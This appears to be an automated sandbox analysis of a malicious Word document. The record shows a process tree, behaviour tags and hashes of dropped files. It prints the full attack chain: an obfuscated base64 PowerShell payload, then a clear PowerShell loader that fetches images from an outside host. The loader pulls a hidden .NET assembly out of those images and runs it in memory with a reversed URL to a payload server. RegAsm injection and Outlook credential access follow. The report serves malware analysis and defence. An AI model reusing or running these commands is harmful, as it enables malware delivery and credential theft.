gTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDYDgTreMDgTreDgTrevDgTreDDgTreDgTreNDgTreDgTrezDgTreC8DgTreZgB1DgTreGwDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMQDgTrexDgTreDIDgTreODgTreDgTre3DgTreDgDgTreODgTreDgTre3DgTreCcDgTreLDgTreDgTregDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreBzDgTreDoDgTreLwDgTrevDgTreHUDgTrecDgTreBsDgTreG8DgTreYQBkDgTreGQDgTreZQBpDgTreG0DgTreYQBnDgTreGUDgTrebgBzDgTreC4DgTreYwBvDgTreG0DgTreLgBiDgTreHIDgTreLwBpDgTreG0DgTreYQBnDgTreGUDgTrecwDgTrevDgTreDDgTreDgTreMDgTreDgTre0DgTreC8DgTreNwDgTre2DgTreDDgTreDgTreLwDgTrewDgTreDQDgTreNDgTreDgTrevDgTreG8DgTrecgBpDgTreGcDgTreaQBuDgTreGEDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMQDgTrexDgTreDIDgTreODgTreDgTre3DgTreDgDgTreODgTreDgTre4DgTreCcDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTrePQDgTregDgTreEQDgTrebwB3DgTreG4DgTrebDgTreBvDgTreGEDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreEYDgTrecgBvDgTreG0DgTreTDgTreBpDgTreG4DgTreawBzDgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTreLQBuDgTreGUDgTreIDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBUDgTreGUDgTreeDgTreB0DgTreC4DgTreRQBuDgTreGMDgTrebwBkDgTreGkDgTrebgBnDgTreF0DgTreOgDgTre6DgTreFUDgTreVDgTreBGDgTreDgDgTreLgBHDgTreGUDgTredDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreUwBUDgTreEEDgTreUgBUDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreIDgTreBpDgTreGYDgTreIDgTreDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreZwBlDgTreCDgTreDgTreMDgTreDgTregDgTreC0DgTreYQBuDgTreGQDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreZwB0DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreKwDgTre9DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTreuDgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCDgTreDgTrePQDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBTDgTreHUDgTreYgBzDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTresDgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBDDgTreG8DgTrebgB2DgTreGUDgTrecgB0DgTreF0DgTreOgDgTre6DgTreEYDgTrecgBvDgTreG0DgTreQgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFIDgTreZQBmDgTreGwDgTreZQBjDgTreHQDgTreaQBvDgTreG4DgTreLgBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreXQDgTre6DgTreDoDgTreTDgTreBvDgTreGEDgTreZDgTreDgTreoDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreCDgTreDgTrePQDgTregDgTreCQDgTrebDgTreBvDgTreGEDgTreZDgTreBlDgTreGQDgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreC4DgTreRwBlDgTreHQDgTreVDgTreB5DgTreHDgTreDgTreZQDgTreoDgTreCcDgTreUDgTreBSDgTreE8DgTreSgBFDgTreFQDgTreTwBBDgTreFUDgTreVDgTreBPDgTreE0DgTreQQBDDgTreEEDgTreTwDgTreuDgTreFYDgTreQgDgTreuDgTreEgDgTrebwBtDgTreGUDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreG0DgTreZQB0DgTreGgDgTrebwBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTredDgTreB5DgTreHDgTreDgTreZQDgTreuDgTreEcDgTreZQB0DgTreE0DgTreZQB0DgTreGgDgTrebwBkDgTreCgDgTreJwBWDgTreEEDgTreSQDgTrenDgTreCkDgTreLgBJDgTreG4DgTredgBvDgTreGsDgTreZQDgTreoDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTresDgTreCDgTreDgTreWwBvDgTreGIDgTreagBlDgTreGMDgTredDgTreBbDgTreF0DgTreXQDgTregDgTreCgDgTreJwB0DgTreHgDgTredDgTreDgTreuDgTreFIDgTreRQBRDgTreC8DgTreMQDgTre3DgTreDEDgTreNwDgTrevDgTreDgDgTreOQDgTreuDgTreDgDgTreODgTreDgTrexDgTreC4DgTreODgTreDgTrezDgTreC4DgTreNDgTreDgTre1DgTreDEDgTreLwDgTrevDgTreDoDgTrecDgTreB0DgTreHQDgTreaDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCwDgTreJwBSDgTreGUDgTreZwBBDgTreHMDgTrebQDgTrenDgTreCwDgTreJwDgTrenDgTreCkDgTreKQB9DgTreCDgTreDgTrefQDgTre=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1144 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/760/043/full/new_image.jpg?1711287887', 'https://uploaddeimagens.com.br/images/004/760/044/original/new_image.jpg?1711287888'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.REQ/1717/89.881.83.451//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))} }"4⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1692 -
C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"5⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2368 -
C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exeC:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\ngosj"6⤵
- Suspicious behavior: EnumeratesProcesses
PID:2488
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C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exeC:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\yjtkkojg"6⤵
- Accesses Microsoft Outlook accounts
PID:1988
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C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exeC:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\adgvlguzjwk"6⤵
- Suspicious use of AdjustPrivilegeToken
PID:2364
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
67KB
MD5753df6889fd7410a2e9fe333da83a429
SHA13c425f16e8267186061dd48ac1c77c122962456e
SHA256b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78
SHA5129d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\96DD3FB36E520A44B4555F9239BEA849_B4791CD67445EC7F0ECEA0014AB0ADA8
Filesize727B
MD54a575578f56a0dc8e1f327f2506a9131
SHA184dd5df5851dae427605ed5187d3ef7331e7575b
SHA2564beb4a8eb27e70d6d70573c74209e2e357c53ff746faba87e4c29a1cb0225388
SHA51236ec4235d927985fccf3e015249f2d89387715e1e2bec388c1d62659d0f6ccb1423fb488de7ca9ec2399f60ecf3d4a9d094c9cc3eb416bff2958ddbd52aa5c29
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_9F6005AF34C7906F717D420F892FD6D0
Filesize471B
MD5e8f53904db1336034369e7073bcecb20
SHA1b11d646ab2e2f445037218bdc8871c1c39561740
SHA256da4572394335f59f8250420dec69844b42df76df29ca6ef614bb333324922f94
SHA51260e044a438c5b99be3178b2460708b1a8f40097b471e5256a48221ae26ef8c1e96cf2b6a5147f81cf685aede4c2cc3b530257db037f9081d6c9ae3c039e8063b
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5c59fd7421406af99c24f1e2d29e63910
SHA1a33f649e5b2bbf9781f77c6ddd3715b4a91f708d
SHA256290ca5dac17d6cad5a42129e5b279b07c28db85f7547c549a0133738380a830d
SHA5123319aef0300d5194cf496c56e02e1e11e64311388572c84ee5b3a604665d561cb356a6389c4abc827cd0fb7dad030ed876893b232f05a78fcb987d11b7fb0391
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5cbd37907bba93ceb778721164eec1e1e
SHA166b9cce3a432ffe19cafcbda1de9009ff8c99414
SHA2567cc5d9b2ee62ff10ec75ead02dbadddb35ff6310c76e595f7bd048172a6195da
SHA51219e446728ee6c326cf2a2d215302f05691e6aa2714b299ed54ab8c84345c18dbe3c71a1a1caf089c371dae1955435c782240736ffe9262006a88cbd5ca85838e
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\96DD3FB36E520A44B4555F9239BEA849_B4791CD67445EC7F0ECEA0014AB0ADA8
Filesize400B
MD5baedd4d740b7e242dbc4412b0e36af00
SHA123042536333db03017d8ccd9567e7f396bea6276
SHA2560836d3f250ef54a5c56d02dc85e10c99abf2a8825756dbd4b19d9d7c83236658
SHA51270ac19704f825278514d9423c8b6d7c00ae93619f099d6ac4d031b3b73364e16100a193c0440e502d3f790e1005c5931330a2279cf0cee7be74e2a36db65cb26
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_9F6005AF34C7906F717D420F892FD6D0
Filesize400B
MD558b680863d2e898bb3414d0cd76b247c
SHA1e56b4221e0a3573507cc9ebe7b4e253e36b391b2
SHA25659a7e61ca2e7ba8482a80b5738680141fe07b0dff6e4c43d87678a4cd4e51aba
SHA512155d9a738015ef4a71223489b301621f620d843ec51453a4646e8ca8c411c07fb43e8514bf5077df842807de6cb3c8130b1cc661c0724e242f862bbd556bedb4
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C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{D3929885-8383-469F-8065-B63D504CB38B}.FSD
Filesize128KB
MD552d689e09abd0636741c5854b80bf29c
SHA17c4ff08b5c5f80aa40e2dba2c280bbdf63dc5cbf
SHA2564bfd8140f5fb6218372b1ef72d33fbacf811c403ead7506539e3fd3ad21c0cbc
SHA512c5acb94089e29e4be9930f10a8ae68d84bee5d4a39101e65de1f3ec793198bc3f3a3239714a4f155b5a795f22e44f5904ecdc5d26a9bb49b72699bc97ce8f12b
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C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD
Filesize128KB
MD58fb59c15bcb52447c68e33947b60f7b1
SHA1d04160d356cb8afcc59738a09eced474b4a22798
SHA256b9f4c7453558a1f1d305c60081be178934aa86cc6c70b70a6a7fc038d744ee01
SHA51252d687f1985c6c64fa7683078e30e05ca1dffcdc0b7a9c6f10a44a197484714eaf9ffb9d704bd76de7c4ea158e2acae82b2922f6cede26d9f6b0995f3635e015
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C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-{BB3FC33C-52C4-429F-98B1-7CA787EB67EC}.FSD
Filesize128KB
MD5a1757ce764d8150401cb5430f9416df6
SHA1e16dfa58791ef0890d8a633301368a6cbb0c8e09
SHA2569e233bed32460c245ef24158d365c0fa6ffb02d40903a5fa1acce57867b40d7c
SHA51213a8b0835de0343da1dc5d073f49f7a55f20d111f7a252a1c59e474ad6419202e89baec15941a43f6865f9e78ac8e89f05f392048057fb7773c46d154214521d
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C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\902LKC6A\kissinggreatwaytounderstandhowimkissingherwithlotofhearttounderstandyouaremygirliloveu_____sweethearttounderstandkissingmygirl[1].doc
Filesize73KB
MD5338da1470f51aa8116271555ee990e96
SHA10e1cb790e5bc6534c8757794512a8394a1f12d13
SHA256c02d7beb9210e4edc9fad4c7de3a6827994343e249d3f7544632d8f64847dc74
SHA51200a79d3fb886066e5f701386e445457fa489b2a63083b75a2d8ae05965cdd21ac7a11dd5267950da882b4bd89d44860506cd650b57e138d96fff353b33919039
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Filesize
65KB
MD5ac05d27423a85adc1622c714f2cb6184
SHA1b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA5126d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
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Filesize
171KB
MD59c0c641c06238516f27941aa1166d427
SHA164cd549fb8cf014fcd9312aa7a5b023847b6c977
SHA2564276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
SHA512936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06
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Filesize
175KB
MD5dd73cead4b93366cf3465c8cd32e2796
SHA174546226dfe9ceb8184651e920d1dbfb432b314e
SHA256a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22
SHA512ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63
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Filesize
2B
MD5f3b25701fe362ec84616a93a45ce9998
SHA1d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA51298c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
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Filesize
128KB
MD56869ecbe30b79b5748d4f2edab429e2d
SHA16c268ecbb90bd2bddee00ccd9fe67e21c83d1fce
SHA25681a43d882a1fcb0059728ac9710880e77da189c7cd782399f144ac9f54dea357
SHA51240d917246557b17f033a4b04d10959c9695d48a6fa14b4099ca0a26286c3bd5e11f149803360c68513bcc0f4325ea2e308c3cdd8107bcd536323092a73052d02
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD5a5d6b0f62b2b4688ecb50f01a54460f8
SHA19125bdb43394a78fb7db6b78cf1ef6e7c97838ef
SHA25686c5be8ba0ab7dc16c03ffb01a1586eac278795b8b8504526a63267db6416662
SHA5126100227b4aacc90b0b8b6e10f562e61851004491b0a836332d4351b497588b95bfbb05afbdf63d10218df9b0fcf3adfcd7ae03a19e0cb8a587c49f406ac23e91
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Filesize
5KB
MD55a00fbd90b552d6c44165a1b1ea8af3d
SHA188d2a19718dcc942adc92d30e274b9ae95ae84df
SHA256fcef19600eb45805e23379e5f0adbcd1a35859aa01505af4cb17276af4d5443d
SHA5129f7d33f47c8207653ae3a4ae76c86b27c281a86adae01633307592e2666cc9b4acdc118805c4e7a1e43ed16805fa7b100c3bfdafc06fd81794bd195b7a3252a7